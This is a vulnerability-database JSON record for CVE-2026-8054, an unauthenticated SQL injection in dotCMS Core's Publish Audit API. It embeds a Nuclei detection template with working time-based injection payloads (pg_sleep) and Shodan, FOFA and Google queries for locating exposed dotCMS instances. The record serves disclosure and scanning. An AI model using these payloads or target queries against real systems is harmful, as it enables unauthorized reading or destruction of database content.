{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2026-8054/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2026-8054/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2026-8054/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2026-8054/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2026-8054/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2026-8054"},"sightings":{"href":"/api/v1/sightings/cve-2026-8054"}},"enrichments":{"cisa-kev":{"kev":false},"epss":{"epss":0.01584,"kev":false,"percentile":0.74484},"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2026/CVE-2026-8054.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2026-8054\n\ninfo:\n  name: dotCMS Core Publish Audit API - Unauthenticated SQL Injection\n  author: DhiyaneshDk\n  severity: critical\n  description: |\n    dotCMS Core 25.11.04-1 through 26.04.28-02 contains an SQL injection caused by unsanitized input in Publish Audit API endpoints (/api/auditPublishing/get and /api/auditPublishing/getAll), letting remote unauthenticated attackers read, modify, or destroy arbitrary database content, exploit requires no authentication.\n  impact: |\n    Remote attackers can read, modify, or destroy arbitrary database content, potentially compromising the entire database.\n  remediation: |\n    Upgrade to dotCMS Core 26.04.28-03 or later.\n  reference:\n    - https://github.com/advisories/GHSA-jpx3-25r2-jq5g\n    - https://github.com/dotCMS/core/pull/35553\n    - https://dev.dotcms.com/docs/known-security-issues?issueNumber=SI-75\n  metadata:\n    max-request: 2\n    vendor: dotcms\n    product: dotcms\n    shodan-query: http.title:\"dotcms\"\n    fofa-query: title=\"dotcms\"\n    google-query: intitle:\"dotcms\"\n  tags: cve,cve2026,dotcms,sqli,unauth,time-based,vkev\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        POST /api/auditPublishing/getAll HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        [\"x' || (SELECT CASE WHEN 1=2 THEN pg_sleep(0)::text ELSE '' END) || '\"]\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"status_code == 200\"\n          - \"contains(content_type, 'application/json')\"\n          - \"contains(body, '[]')\"\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        @timeout: 15s\n        POST /api/auditPublishing/getAll HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n        Accept: application/json\n\n        [\"x' || (SELECT CASE WHEN 1=1 THEN pg_sleep(5)::text ELSE '' END) || '\"]\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"duration>=5\"\n          - \"status_code == 200\"\n          - \"contains(content_type, 'application/json')\"\n          - \"contains(body, '[]')\"\n        condition: and\n# digest: 4a0a0047304502206353978d3f1babdbe78c719242ffd86344e79159433b089fabad34084f1ac8bc022100a3ddda615cad914cbb269bca5694a0aa29e5be38745a7d7d8c50b81e2f9a5f59:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2026-8054"}